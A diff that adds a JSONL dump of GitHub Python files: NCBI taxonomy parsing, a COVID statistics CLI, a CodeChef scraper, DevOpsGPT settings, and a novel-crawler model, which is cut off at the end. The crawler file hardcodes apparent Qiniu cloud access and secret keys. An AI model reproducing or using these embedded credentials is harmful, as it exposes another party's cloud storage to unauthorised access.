diff --git "a/4572.jsonl" "b/4572.jsonl" new file mode 100644--- /dev/null +++ "b/4572.jsonl" @@ -0,0 +1,1805 @@ +{"seq_id":"38355794329","text":"# original from Dmitrij Turaev\n\n__author__ = 'hofmann'\n__version__ = '0.0.6'\n\n\nimport os\nimport time\nfrom taxonomynode import TaxonomyNode\nfrom scripts.Validator.validator import Validator\n\n\nclass NcbiTaxonomy(Validator):\n\t\"\"\"Loading NCBI from SQL dump into dictionary for fast processing\"\"\"\n\n\t# TODO: if list of ranks given, validate ranks\n\n\t_label = \"NcbiTaxonomy\"\n\n\tdefault_ordered_legal_ranks = ['superkingdom', 'phylum', 'class', 'order', 'family', 'genus', 'species', 'strain']\n\tname_to_taxids = {}\n\ttaxid_to_parent_taxid = {}\n\ttaxid_to_name = {}\n\ttaxid_to_rank = {}\n\ttaxid_old_to_taxid_new = {}\n\t_has_node_tree = False\n\n\tdef __init__(self, taxonomy_directory=\"./\", build_node_tree=False, verbose=True, logfile=None):\n\t\t\"\"\"\n\t\t\tLoading NCBI from SQL dump files into dictionary.\n\n\t\t\t@attention: building a node tree requires several gigabytes of RAM !!!\n\n\t\t\t@param taxonomy_directory: directory containing ncbi dump\n\t\t\t@type taxonomy_directory: str | unicode\n\t\t\t@param build_node_tree: Building a node tree, maybe useful if subtree is needed.\n\t\t\t@type build_node_tree: bool\n\t\t\t@param verbose: If False, messages are only written to the logfile, if given\n\t\t\t@type verbose: bool\n\t\t\t@param logfile: file stream or file path of logfile\n\t\t\t@type logfile: None | file | FileIO | StringIO | basestring\n\n\t\t\t@return: None\n\t\t\t@rtype: None\n\t\t\"\"\"\n\t\tsuper(NcbiTaxonomy, self).__init__(logfile=logfile, verbose=verbose)\n\t\tassert self.validate_dir(taxonomy_directory, file_names=[\"names.dmp\", \"merged.dmp\", \"nodes.dmp\"])\n\t\tself._file_path_ncbi_names = os.path.join(taxonomy_directory, \"names.dmp\")\n\t\tself._file_path_ncbi_merged = os.path.join(taxonomy_directory, \"merged.dmp\")\n\t\tself._file_path_ncbi_nodes = os.path.join(taxonomy_directory, \"nodes.dmp\")\n\t\t# self._gi_taxid_file = os.path.join(taxonomy_directory, \"gi_taxid_nucl.dmp\")\n\n\t\tstart = time.time()\n\n\t\tif len(NcbiTaxonomy.taxid_to_name) == 0:\n\t\t\tNcbiTaxonomy._has_node_tree = build_node_tree\n\t\t\tself._build_ncbi_taxonomy(build_node_tree)\n\t\t\tself._read_names_file()\n\t\t\tself._read_merged_file()\n\t\telif not NcbiTaxonomy._has_node_tree and build_node_tree:\n\t\t\tself._build_ncbi_taxonomy(build_node_tree)\n\t\telse:\n\t\t\tself._logger.info(\"Using previously loaded Taxonomy\")\n\n\t\tend = time.time()\n\t\tself._logger.info(\"Done ({}s)\".format(round(end - start), 1))\n\n\tdef get_updated_taxid(self, taxid):\n\t\t\"\"\"\n\t\t\tReturn current taxid, in case it was merged\n\n\t\t\t@attention: taxid is not accepted as digit!!!\n\n\t\t\t@param taxid: ncbi taxonomic identifier\n\t\t\t@type taxid: basestring\n\n\t\t\t@return: ncbi taxonomic identifier\n\t\t\t@rtype: str | unicode\n\t\t\"\"\"\n\t\tassert isinstance(taxid, basestring)\n\t\tif taxid not in NcbiTaxonomy.taxid_to_rank:\n\t\t\tself._logger.error(\"Invalid taxid: '{}'\".format(taxid))\n\t\t\traise ValueError(\"Invalid taxid\")\n\t\tif taxid not in NcbiTaxonomy.taxid_old_to_taxid_new:\n\t\t\treturn taxid\n\t\ttaxid_new = NcbiTaxonomy.taxid_old_to_taxid_new[taxid]\n\t\tself._logger.warning(\"Merged id: '{}' -> '{}'\".format(taxid, taxid_new))\n\t\treturn taxid_new\n\n\tdef get_scientific_name(self, taxid):\n\t\t\"\"\"\n\t\t\tReturn scientific name of ncbi taxonomic identifier\n\n\t\t\t@attention: taxid is not accepted as digit!!!\n\n\t\t\t@param taxid: ncbi taxonomic identifier\n\t\t\t@type taxid: basestring\n\n\t\t\t@return: ncbi scientific name\n\t\t\t@rtype: str | unicode\n\t\t\"\"\"\n\t\tassert isinstance(taxid, basestring)\n\t\ttaxid = self.get_updated_taxid(taxid)\n\t\tif taxid in NcbiTaxonomy.taxid_to_name:\n\t\t\treturn NcbiTaxonomy.taxid_to_name[taxid]\n\t\tself._logger.error(\"No name available for taxid: {}\".format(taxid))\n\t\traise ValueError(\"Invalid taxid\")\n\n\tdef get_taxids_by_scientific_name(self, scientific_name):\n\t\t\"\"\"\n\t\t\tReturn all available taxid that fit the scientific name\n\n\t\t\t@attention: Several taxid might be a hit for one scientific name\n\n\t\t\t@param scientific_name: ncbi scientific name or synonym\n\t\t\t@type scientific_name: basestring\n\n\t\t\t@return: list of ncbi taxonomic identifiers\n\t\t\t@rtype: str | unicode\n\t\t\"\"\"\n\t\tassert isinstance(scientific_name, basestring)\n\t\tscientific_name = scientific_name.lower()\n\t\tif scientific_name in NcbiTaxonomy.name_to_taxids:\n\t\t\treturn list(NcbiTaxonomy.name_to_taxids[scientific_name])\n\t\tself._logger.error(\"No taxid available for scientific_name: {}\".format(scientific_name))\n\t\traise ValueError(\"Invalid scientific name\")\n\n\tdef get_lineage_of_legal_ranks(self, taxid, ranks=None, default_value=None):\n\t\t\"\"\"\n\t\t\tReturn lineage of a specific taxonomic identifier, filtered by a list of legal ranks\n\n\t\t\t@attention: The list of ranks determines the order of the returned taxonomic identifiers\n\n\t\t\t@param taxid: ncbi taxonomic identifier\n\t\t\t@type taxid: basestring\n\t\t\t@param ranks: List of ncbi ranks in lower case\n\t\t\t@type ranks: list[basestring]\n\t\t\t@param default_value: Value at rank indexes at which the taxid of that specific rank is undefined\n\t\t\t@type default_value: None | basestring\n\n\t\t\t@return: list of ncbi taxonomic identifiers\n\t\t\t@rtype: list[str|unicode|None]\n\t\t\"\"\"\n\t\tassert isinstance(taxid, basestring)\n\t\ttaxid = self.get_updated_taxid(taxid)\n\t\tcount = 0\n\t\tif ranks is None:\n\t\t\tranks = NcbiTaxonomy.default_ordered_legal_ranks\n\n\t\tlineage = [default_value] * len(ranks)\n\t\toriginal_rank = self.get_rank_of_taxid(taxid)\n\t\tif original_rank is not None and original_rank in ranks:\n\t\t\tlineage[ranks.index(original_rank)] = taxid\n\n\t\twhile taxid != \"1\" and count < 50:\n\t\t\tcount += 1\n\t\t\ttaxid = NcbiTaxonomy.taxid_to_parent_taxid[taxid]\n\t\t\trank = NcbiTaxonomy.taxid_to_rank[taxid]\n\t\t\tif rank in ranks:\n\t\t\t\tlineage[ranks.index(rank)] = taxid\n\t\tif count == 50:\n\t\t\tself._logger.error(\"Bad lineage?: {}\".format(lineage))\n\t\t\traise Warning(\"Strange Error\")\n\t\treturn lineage\n\n\tdef get_lineage(self, taxid):\n\t\t\"\"\"\n\t\t\tReturn lineage of a specific taxonomic identifier, filtered by a list of legal ranks\n\n\t\t\t@param taxid: ncbi taxonomic identifier\n\t\t\t@type taxid: basestring\n\n\t\t\t@return: list of ncbi taxonomic identifiers\n\t\t\t@rtype: list[str|unicode]\n\t\t\"\"\"\n\t\tassert isinstance(taxid, basestring)\n\t\ttaxid = self.get_updated_taxid(taxid)\n\t\tcount = 0\n\t\tif NcbiTaxonomy._has_node_tree:\n\t\t\treturn TaxonomyNode.by_name[taxid].get_lineage()\n\n\t\tlineage = [taxid]\n\t\twhile taxid != \"1\" and count < 50:\n\t\t\tcount += 1\n\t\t\ttaxid = NcbiTaxonomy.taxid_to_parent_taxid[taxid]\n\t\t\tlineage.append(taxid)\n\t\tif count == 50:\n\t\t\tself._logger.error(\"Bad lineage?: {}\".format(lineage))\n\t\t\traise Warning(\"Strange Error\")\n\t\treturn lineage\n\n\tdef get_parent_taxid_of_legal_ranks(self, taxid, ranks=None):\n\t\t\"\"\"\n\t\t\tReturns taxonomic identifier of the first parent of legal rank and its rank\n\n\t\t\t@param taxid: ncbi taxonomic identifier\n\t\t\t@type taxid: basestring\n\t\t\t@param ranks: List of ncbi ranks in lower case\n\t\t\t@type ranks: list[basestring]\n\n\t\t\t@return: tuple ncbi taxonomic identifiers and its rank\n\t\t\t@rtype: tuple\n\t\t\"\"\"\n\t\tassert isinstance(taxid, basestring)\n\t\ttaxid = self.get_updated_taxid(taxid)\n\t\tif ranks is None:\n\t\t\tranks = NcbiTaxonomy.default_ordered_legal_ranks\n\t\tif taxid not in NcbiTaxonomy.taxid_to_parent_taxid:\n\t\t\tself._logger.error(\"No parent taxid available for taxid: {}\".format(taxid))\n\t\t\traise ValueError(\"Invalid taxid\")\n\t\ttaxid = NcbiTaxonomy.taxid_to_parent_taxid[taxid]\n\t\twhile taxid is not None and NcbiTaxonomy.taxid_to_rank[taxid] not in ranks:\n\t\t\ttaxid = NcbiTaxonomy.taxid_to_parent_taxid[taxid]\n\t\treturn taxid, NcbiTaxonomy.taxid_to_rank[taxid]\n\n\tdef get_parent_taxid(self, taxid):\n\t\t\"\"\"\n\t\t\tReturn taxonomic identifier of the parent node\n\n\t\t\t@param taxid: ncbi taxonomic identifier\n\t\t\t@type taxid: basestring\n\n\t\t\t@return: ncbi taxonomic identifiers\n\t\t\t@rtype: str | unicode\n\t\t\"\"\"\n\t\tassert isinstance(taxid, basestring)\n\t\ttaxid = self.get_updated_taxid(taxid)\n\t\tif taxid in NcbiTaxonomy.taxid_to_parent_taxid:\n\t\t\treturn NcbiTaxonomy.taxid_to_parent_taxid[taxid]\n\t\tself._logger.error(\"No parent taxid available for taxid: {}\".format(taxid))\n\t\traise ValueError(\"Invalid taxid\")\n\n\tdef get_rank_of_taxid(self, taxid):\n\t\t\"\"\"\n\t\t\tReturn rank of ncbi taxonomic identifier\n\n\t\t\t@param taxid: ncbi taxonomic identifier\n\t\t\t@type taxid: basestring\n\n\t\t\t@return: ncbi rank of taxonomic identifiers\n\t\t\t@rtype: str | unicode\n\t\t\"\"\"\n\t\tassert isinstance(taxid, basestring)\n\t\ttaxid = self.get_updated_taxid(taxid)\n\t\tif taxid in NcbiTaxonomy.taxid_to_rank:\n\t\t\treturn NcbiTaxonomy.taxid_to_rank[taxid]\n\t\tself._logger.error(\"No rank available for taxid: {}\".format(taxid))\n\t\traise ValueError(\"Invalid taxid\")\n\n\tdef _add_nodes(self, taxid, parent_taxid='', rank='', name=''):\n\t\t\"\"\"insert nodes into taxonomy tree.\"\"\"\n\t\tnew_node = TaxonomyNode.by_name.get(taxid)\n\n\t\tif new_node is None:\n\t\t\tTaxonomyNode(taxid, parent_taxid, rank, name)\n\t\t# check rank\n\t\tif rank == 'no rank':\n\t\t\treturn\n\t\tind1 = TaxonomyNode.allranks.index(rank)\n\t\ttry:\n\t\t\tif not TaxonomyNode.by_name[parent_taxid].rank == 'no rank':\n\t\t\t\tind2 = TaxonomyNode.allranks.index(TaxonomyNode.by_name[parent_taxid].rank)\n\t\t\t\tassert ind1 >= ind2\n\t\t\t\t# e.g. Ovis aries platyura ('species'), Oves aries ('species')\n\t\texcept KeyError:\n\t\t\tself._logger.debug(\"__add_nodes KeyError: {}\".format(parent_taxid))\n\t\t\tpass\n\t\t# add new node to parent's all_child_nodes\n\t\t# while parent_taxid in Node.byname:\n\t\t# Node.byname[parent_taxid].all_child_nodes.add(newnode)\n\t\t# parent_taxid = Node.byname[parent_taxid].taxid\n\n\t@staticmethod\n\tdef _insert_into_dict(taxid, name, my_dict):\n\t\tname = name.lower()\n\t\tassert int(taxid)\n\t\tif name not in my_dict:\n\t\t\tmy_dict[name] = set()\n\t\tmy_dict[name].add(taxid)\n\n\tdef _build_ncbi_taxonomy(self, build_node_tree):\n\t\t\"\"\" parse NCBI taxonomy files.\"\"\"\n\t\tself._logger.info(\"Building taxonomy tree...\")\n\t\tif build_node_tree:\n\t\t\tTaxonomyNode.by_name.clear()\n\n\t\t# names.dmp (taxid, name, unique name, name class):\n\t\t# 521095\t|\tAtopobium parvulum ATCC 33793\t|\t\t|\tsynonym\t|\n\t\t# 521095\t|\tAtopobium parvulum DSM 20469\t|\t\t|\tscientific name\t|\n\t\t# 521095\t|\tAtopobium parvulum str. DSM 20469\t|\t\t|\tequivalent name\t|\n\t\t# 521095\t|\tAtopobium parvulum strain DSM 20469\t|\t\t|\tequivalent name\t|\n\t\t# e.g. entries for \"1382\" in names.dmp:\n\t\t# \t1382\t|\t\"Streptococcus parvulus\" Weinberg et al. 1937\t|\t\t|\tsynonym\t|\n\t\t# \t1382\t|\tAtopobium parvulum\t|\t\t|\tscientific name\t|\n\t\t# \t1382\t|\tAtopobium parvulum (Weinberg et al. 1937) Collins and Wallbanks 1993\t|\t\t|\tsynonym\t|\n\t\t# \t1382\t|\tPeptostreptococcus parvulus\t|\t\t|\tsynonym\t|\n\t\t# \t1382\t|\tPeptostreptococcus parvulus (Weinberg et al. 1937) Smith 1957 (Approved Lists 1980)\t|\t|synonym\t|\n\t\t# \t1382\t|\tStreptococcus parvulus\t|\t\t|\tsynonym\t|\n\t\t# \t1382\t|\tStreptococcus parvulus (Weinberg et al. 1937) Cato 1983\t|\t\t|\tsynonym\t|\n\t\t# \t1382\t|\tnot \"Streptococcus parvulus\" Levinthal 1928\t|\t\t|\tsynonym\t|\n\n\t\tself._logger.info(\"Reading 'nodes' file:\\t'{}'\".format(self._file_path_ncbi_nodes))\n\t\twith open(self._file_path_ncbi_nodes) as file_handler:\n\t\t\tfor line in file_handler:\n\t\t\t\telements = [el.strip() for el in line.split('|')]\n\t\t\t\ttaxid, parent_taxid, rank = elements[0:3]\n\t\t\t\trank = rank.lower() # should be lower-case in file, but can't be bad to doublecheck\n\t\t\t\tNcbiTaxonomy.taxid_to_parent_taxid[taxid] = parent_taxid\n\t\t\t\tNcbiTaxonomy.taxid_to_rank[taxid] = rank\n\t\t\t\tif not build_node_tree:\n\t\t\t\t\tcontinue\n\t\t\t\tassert taxid not in TaxonomyNode.by_name\n\t\t\t\tself._add_nodes(taxid, parent_taxid=parent_taxid, rank=rank)\n\n\t\twith open(self._file_path_ncbi_names) as file_handler:\n\t\t\tfor line in file_handler:\n\t\t\t\ttaxid, name, unique, name_class, sonst = [el.strip() for el in line.split('|')]\n\t\t\t\tself._insert_into_dict(taxid, name, NcbiTaxonomy.name_to_taxids)\n\t\t\t\tif not build_node_tree:\n\t\t\t\t\tcontinue\n\t\t\t\ttry:\n\t\t\t\t\tmy_node = TaxonomyNode.by_name[taxid]\n\t\t\t\t\tassert taxid == my_node.taxid\n\t\t\t\texcept KeyError:\n\t\t\t\t\tself._logger.error(\"build_ncbi_taxonomy KeyError: {}\".format(taxid))\n\t\t\t\t\tcontinue\n\n\t\t\t\tif name_class == 'scientific name':\n\t\t\t\t\tmy_node.unique_name = unique\n\t\t\t\t\tmy_node.scientific_name = name\n\n\t\t\t\telif name_class == 'synonym':\n\t\t\t\t\tmy_node.synonyms.append(name)\n\t\t\t\t\t# example: Bacteroides corrodens: Campylobacter ureolyticus (taxid 827), Eikenella corrodens (taxid 539)\n\t\t\t\t\tself._insert_into_dict(taxid, name, TaxonomyNode.by_synonym)\n\n\t\t\t\telif name_class == 'equivalent name':\n\t\t\t\t\tmy_node.equivalent_name.append(name)\n\t\t\t\t\tself._insert_into_dict(taxid, name, TaxonomyNode.by_equivalent)\n\n\t\t\t\telif name_class == 'in-part' or name_class == 'includes' or \\\n\t\t\t\t\tname_class == 'blast name' or name_class == 'genbank common name' or\\\n\t\t\t\t\tname_class == 'misspelling' or name_class == 'authority':\n\t\t\t\t\tpass\n\t\t# update the taxonomy!\n\t\tTaxonomyNode.update()\n\n\t# read NCBI names file\n\tdef _read_names_file(self):\n\t\twith open(self._file_path_ncbi_names) as fin:\n\t\t\tself._logger.info(\"Reading 'names' file:\\t'{}'\".format(self._file_path_ncbi_names))\n\t\t\tfor line in fin:\n\t\t\t\t# 65 | Herpetosiphon aurantiacus | | scientific name |\n\t\t\t\ttaxid, name, disambiguation, nametype, more = line.strip().split('|')\n\t\t\t\tif nametype.strip() == 'scientific name':\n\t\t\t\t\tNcbiTaxonomy.taxid_to_name[taxid.strip()] = name.strip()\n\n\t# read NCBI merged file\n\tdef _read_merged_file(self):\n\t\twith open(self._file_path_ncbi_merged) as fin:\n\t\t\tself._logger.info(\"Reading 'merged' file:\\t'{}'\".format(self._file_path_ncbi_merged))\n\t\t\tfor line in fin:\n\t\t\t\t# 5085 | 746128 |\n\t\t\t\told_taxid, new_taxid, sonst = line.strip().split('|')\n\t\t\t\tNcbiTaxonomy.taxid_old_to_taxid_new[old_taxid.strip()] = new_taxid.strip()\n","repo_name":"p-hofmann/ComunityDesign","sub_path":"scripts/NcbiTaxonomy/ncbitaxonomy.py","file_name":"ncbitaxonomy.py","file_ext":"py","file_size_in_byte":13239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"17063699195","text":"import os\nimport subprocess\n\nos.system(\"cls\")\nos.system(\"color e\")\n\nprint(\"\");print(\"UPDATING COVID PANDEMIC INFORMATION...\");print(\"\")\n\ntry:\n os.system(\"git submodule update --remote\")\nexcept:\n print(\"..\")\n\n# variable initialization\ndaily_instance=0; time_instance=0\ncountrysave = \"US\"; categorysave = \"Confirmed\"\nstartsave = \"4/1/20\"; endsave = \"4/20/20\"\nlocalesave = \"S\"; statesave = \"California\"; countysave = \"Orange\"\ndayreportsave=\"04-22-2020\"; localereportsave= \"S\"; countryreportsave = \"US\"; statereportsave = \"California\"\nworld=False\n\nsession=True\nwhile session == True:\n os.system(\"cls\")\n os.system(\"color e\")\n print(\"\");print(\"COVID PANDEMIC INFORMATION\");print(\"\")\n print(\"\");print(\"Select Type of Information\");print(\"\")\n \n branch= input (' Covid Daily Reports (DR) or Time Range (TR) or (q) to quit : ')\n \n if branch==\"q\" or branch==\"Q\" or branch==\"Quit\": session = False; os.system(\"cls\"); exit\n \n \n ## TIME RANGE - CODE BRANCH\n if branch == \"TR\" or branch ==\"tr\":\n os.system(\"color b\")\n os.system(\"cls\")\n \n if time_instance==0: \n print(\"\");print(\"Loading Johns Hopkins Covid Time Range Information...\");print(\"\")\n from CovidTime import CovidTime\n os.system(\"cls\")\n print(\"\"); print('Covid Time Range Information');print(\"\")\n country = input (f'Specific Country of Interest (Name) OR All Countries (All) (Press Enter for {countrysave}) : ') or countrysave\n category = input (f'Desired category - \"Confirmed\", \"Deaths\", \"Recovered\" (Press Enter for {categorysave}): ') or categorysave\n start_date = input (f'START DATE for the time window of interest (Press Enter for {startsave}) : ') or startsave \n end_date = input (f'END DATE for the time window of interest (Prese Enter for {endsave}) : ') or endsave \n \n \n obj=CovidTime(category)\n \n countrysave=country\n categorysave=category\n startsave=start_date\n endsave=end_date\n\n # WORLD NUMBERS\n if country == \"All\" or country == \"all\" or country == \"ALL\":\n world = True\n obj.world(start_date, end_date)\n \n # COUNTRY NUMBERS - US CODE BRANCH\n elif country == \"US\": # For \"US\" process for National or State or County numbers\n locale = input(f'NATIONAL numbers OR Specific STATE OR Specific COUNTY numbers ? - (N) or (S) or (C) (Press Enter for {localesave} ) : ') or localesave \n \n # US STATE NUMBERS\n if locale==\"S\" or locale==\"s\" or locale==\"state\" or locale==\"State\" or locale==\"STATE\":\n state = input (f'STATE of Interest (Press Enter for {statesave} ): ') or statesave\n \n \n obj.us_state(state, start_date, end_date)\n \n statesave=state\n \n # US COUNTY NUMBERS\n elif locale==\"C\" or locale == \"c\" or locale==\"county\" or locale==\"County\" or locale==\"COUNTY\": \n state = input (f'STATE of Interest (Press Enter for {statesave}) : ') or statesave\n county = input (f'COUNTY of Interest (Press Enter for {countysave}): ') or countysave\n\n \n obj.us_county(county, state, start_date, end_date)\n \n statesave=state; countysave=county\n \n # US NATIONAL NUMBERS\n elif locale == \"N\" or locale==\"n\" or locale==\"National\" or country != \"US\":\n location=obj.location(\"US\")\n totals = obj.totals(start_date,end_date)\n try:\n obj.plot_totals()\n # obj.growth_rate()\n except:\n print(\"Time window selected has no numbers for the country of interest. Try Again\")\n \n localesave=locale\n \n # COUNTRY NUMBERS - OTHER THAN US CODE BRANCH\n elif country != \"US\":\n location=obj.location(country)\n totals = obj.totals(start_date,end_date)\n try:\n obj.plot_totals()\n obj.growth_rate()\n except:\n print(\"Time window selected has no numbers for the country of interest. Try Again\")\n \n time_instance+=1 \n \n \n ## DAILY REPORT - CODE BRANCH\n elif branch == \"DR\" or branch == \"dr\" or branch ==\"Dr\":\n os.system(\"cls\")\n os.system(\"color a\")\n \n if daily_instance==0: \n os.system(\"cls\")\n print(\"\");print(\"Loading Johns Hopkins Covid Daily Information...\");print(\"\")\n from CovidDaily import CovidDaily\n os.system(\"cls\")\n \n print(\"\"); print('Covid Daily Information');print(\"\")\n dayreport = input (f'Desired Day for Report (Press Enter for {dayreportsave}) : ') or dayreportsave\n #Create Daily object\n daily=CovidDaily(dayreport)\n dayreportsave=dayreport\n \n countryreport = input (f'Country of Interest (Press Enter for {countryreportsave}) : ') or countryreportsave\n \n if countryreport != \"US\":\n daily.country(countryreport); press_enter=input(\"Press Enter To Continue\")\n \n elif countryreport == \"US\":\n localereport = input(f'NATIONAL OR STATE OR Report ? - (N) or (S) (Press Enter for {localereportsave} ) : ') or localereportsave\n \n if localereport == \"N\" or localereport ==\"n\" or localereport ==\"National\" or countryreport != \"US\":\n daily.country(\"US\"); press_enter=input(\"Press Enter To Continue\")\n \n localereportsave=localereport\n \n elif localereport == \"S\" or localereport == \"s\" or localereport == \"state\" or localereport == \"STATE\" or localereport == \"State\":\n statereport = input (f'Report for which STATE ? - (Press Enter for {statereportsave} ): ') or statereportsave\n daily.state(\"US\",statereport); press_enter=input(\"Press Enter To Continue\")\n \n localereportsave=localereport; statereportsave=statereport\n \n dayreportsave=dayreport\n \n daily_instance+=1 \n \nos.system(\"color 7\")","repo_name":"fdesantis2855/covid","sub_path":"covid_ask.py","file_name":"covid_ask.py","file_ext":"py","file_size_in_byte":6436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"38728972790","text":"import requests\nfrom lxml import html\nimport sys\nimport lxml.etree\nimport lxml._elementpath\n\n\ndef ratings(handle, result):\n\n\tstr = \"\"\n\n\t#valid username url\n\turl = 'https://www.codechef.com/users/' + handle\n\n\tpage = requests.get(url)\n\n\ttree = html.fromstring(page.content)\n\n\tdata = tree.xpath(\"//div/section/div/div/div/a/text()\")\n\n\tif len(data) == 0:\n\t\tresult = result + \"Handle: \" + handle + \" is invalid.\"\n\t\tprint(\"Wrong Handle: user_ratings_py\")\n\t\tsys.exit()\n\n\telse:\n\t\tfor i in range(0, len(data[0])-2):\n\t\t\tstr += data[0][i]\n\n\treturn str\n","repo_name":"rohitthapliyal2000/codechef-rank-comparator","sub_path":"src/user_ratings.py","file_name":"user_ratings.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"67"} +{"seq_id":"30204916861","text":"from app.pkgs.tools import storage\nfrom app.models.setting_interface import SettingInterface\nfrom app.pkgs.tools.utils_tool import hide_half_str\nfrom config import DEVOPS_TOOLS, GIT_URL, GIT_TOKEN, GIT_USERNAME, GIT_EMAIL, GIT_API, CD_TOOLS, CD_ACCESS_KEY, CD_SECRET_KEY, GPT_KEYS\n\nclass SettingBasic(SettingInterface):\n def getGitConfigList(self, tenantID, appID, hideToken = False):\n gitList = []\n name = \"Public git config\"\n if storage.get(\"language\") == 'zh':\n name = \"公共Git配置\"\n public_cfg = {\n \"name\" : name,\n \"git_provider\" : DEVOPS_TOOLS,\n \"git_url\" : GIT_URL,\n \"git_token\" : GIT_TOKEN,\n \"git_config_id\" : 0,\n \"git_username\" : GIT_USERNAME,\n \"git_email\" : GIT_EMAIL\n }\n if hideToken:\n public_cfg[\"git_token\"] = hide_half_str(public_cfg[\"git_token\"])\n \n gitList.append(public_cfg)\n\n return gitList, True\n \n def getCIConfigList(self, tenantID, appID, hideToken=False):\n gitList = []\n name = \"Public CI config\"\n if storage.get(\"language\") == 'zh':\n name = \"公共CI配置\"\n public_cfg = {\n \"name\" : name,\n \"ci_provider\" : DEVOPS_TOOLS,\n \"ci_config_id\" : 0,\n \"ci_api_url\" : GIT_API,\n \"git_url\" : GIT_URL,\n \"ci_token\" : GIT_TOKEN\n }\n if hideToken:\n public_cfg[\"ci_token\"] = hide_half_str(public_cfg[\"ci_token\"])\n \n gitList.append(public_cfg)\n\n return gitList, True\n \n def getCDConfigList(self, tenantID, appID, hideToken):\n gitList = []\n name = \"Public CD config\"\n if storage.get(\"language\") == 'zh':\n name = \"公共CD配置\"\n public_cfg = {\n \"name\" : name,\n \"cd_provider\" : CD_TOOLS,\n \"ACCESS_KEY\" : CD_ACCESS_KEY,\n \"SECRET_KEY\" : CD_SECRET_KEY,\n \"cd_config_id\" : 0\n }\n if hideToken:\n public_cfg[\"ACCESS_KEY\"] = hide_half_str(public_cfg[\"ACCESS_KEY\"])\n public_cfg[\"SECRET_KEY\"] = hide_half_str(public_cfg[\"SECRET_KEY\"])\n\n gitList.append(public_cfg)\n\n return gitList, True\n \n def getLLMConfigList(self, tenantID, appID):\n gptKeys = GPT_KEYS\n gitList = []\n\n for key in gptKeys[\"openai\"][\"keys\"]:\n for keykey in key:\n print(keykey)\n gitList.append({\n \"llm_config_id\" : 0,\n \"llm_provider\" : gptKeys[\"openai\"][\"api_type\"],\n \"llm_api_url\" : gptKeys[\"openai\"][\"api_base\"],\n \"llm_api_version\" : gptKeys[\"openai\"][\"api_version\"],\n \"llm_api_proxy\" : gptKeys[\"openai\"][\"proxy\"],\n \"llm_key\": keykey\n })\n\n return gitList, True","repo_name":"chulora/DevOpsGPT","sub_path":"backend/app/models/setting_basic.py","file_name":"setting_basic.py","file_ext":"py","file_size_in_byte":2867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"67"} +{"seq_id":"28392556260","text":"#create an array with some numbers in it\nnumbers = [-1,2,3,4,-5,-6,-7,8,9,-4,-3,-1,312,19]\ntemp = numbers[0]\n\n#itterate through the numbers and set temp to the largest value\nfor num in numbers:\n if num > temp:\n temp = num\n\n#print result\nprint(temp)\n","repo_name":"welchsoft/assignment-5.4.2018","sub_path":"findlargest/findlargest.py","file_name":"findlargest.py","file_ext":"py","file_size_in_byte":259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"17506949472","text":"# coding: utf-8\n\nimport qiniu\nimport hashlib\nfrom datetime import datetime\nfrom sqlalchemy import Column, String, DateTime, Integer, Text, create_engine\nfrom sqlalchemy.sql import func, exists\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom config import db_session, DB_CONNECT_STRING\nfrom qiniu import Auth\nfrom qiniu import BucketManager\n\nAK = 'AUV20tuE-G41IHIu04wZZPXxlJzaNnGNtYdeJeyM'\nSK = 'Dw4Hscr74R_Qn_KXV5M3sxDsiMM-DYnkZx78j-hz'\nbucket_name = 'star428'\nBaseModel = declarative_base()\nauth = Auth(AK, SK)\nbucket = BucketManager(auth)\n\n\nclass Category(BaseModel):\n\n __tablename__ = 'category'\n\n id = Column(Integer, primary_key=True, autoincrement=True)\n name = Column(String(50))\n create_time = Column(DateTime, default=func.now())\n update_time = Column(DateTime, onupdate=datetime.now())\n\n @classmethod\n def get_by_name(cls, name):\n session = db_session()\n category = session.query(Category).filter_by(name=name).first()\n if not category:\n category = Category(name=name)\n session.add(category)\n try:\n session.commit()\n except:\n session.rollback()\n\n return category\n\n\nclass Book(BaseModel):\n\n __tablename__ = 'book'\n\n id = Column(Integer, primary_key=True, autoincrement=True)\n title = Column(String(50))\n avatar = Column(String(255))\n info = Column(Text)\n author = Column(String(50))\n category_id = Column(Integer)\n book_update_time = Column(DateTime)\n status = Column(Integer) # 0代表连载中,1代表已完本\n crawl_url = Column(String(255))\n create_time = Column(DateTime, default=func.now())\n update_time = Column(DateTime, onupdate=datetime.now())\n\n @classmethod\n def exists_book(cls, title, author):\n session = db_session()\n q = session.query(Book).filter_by(title = title, author = author)\n return session.query(q.exists())\n\n @classmethod\n def get_by_title_and_author(cls, title, author):\n session = db_session()\n book = session.query(Book).filter(Book.title == title,\n Book.author == author).scalar()\n return book\n\n @classmethod\n def add(cls, title, avatar, author, info, category_id, book_update_time, crawl_url, status):\n session = db_session()\n if avatar:\n md5_res = hashlib.new('md5', '%s%s%s' % (title.encode('utf-8'), author, datetime.now().strftime('%Y-%m-%d %H:%M:%S')))\n avatar_file_name = 'cover/%s' % md5_res.hexdigest()\n else:\n avatar_file_name = ''\n\n book = Book(title=title, avatar=avatar_file_name, author=author, info=info, category_id=category_id,\n book_update_time=book_update_time, crawl_url=crawl_url)\n session.add(book)\n try:\n session.commit()\n except:\n session.rollback()\n\n if avatar:\n bucket.fetch(avatar, bucket_name, key=avatar_file_name)\n\n return book\n\n @classmethod\n def update(cls, title, avatar, author, info, category_id, book_update_time, crawl_url, status):\n session = db_session()\n query = session.query(Book)\n query.filter(Book.title == title, Book.author == author).update({\n Book.info: info,\n Book.category_id: category_id,\n Book.book_update_time: book_update_time,\n Book.status: status,\n })\n try:\n session.commit()\n except:\n session.rollback()\n\n book = session.query(Book).filter(Book.title == title,\n Book.author == author).scalar()\n\n return book\n\n\nclass Chapter(BaseModel):\n\n __tablename__ = 'chapter'\n\n id = Column(Integer, primary_key=True, autoincrement=True)\n title = Column(String(50))\n book_id = Column(Integer)\n category_id = Column(Integer)\n chapter_path = Column(String(255))\n serial_num = Column(Integer)\n crawl_url = Column(String(255))\n create_time = Column(DateTime, default=func.now())\n update_time = Column(DateTime, onupdate=datetime.now())\n\n @classmethod\n def get_by_serial_num_and_book(cls, serial_num, book_id):\n session = db_session()\n chapter = session.query(Chapter).filter(Chapter.serial_num == serial_num,\n Chapter.book_id == 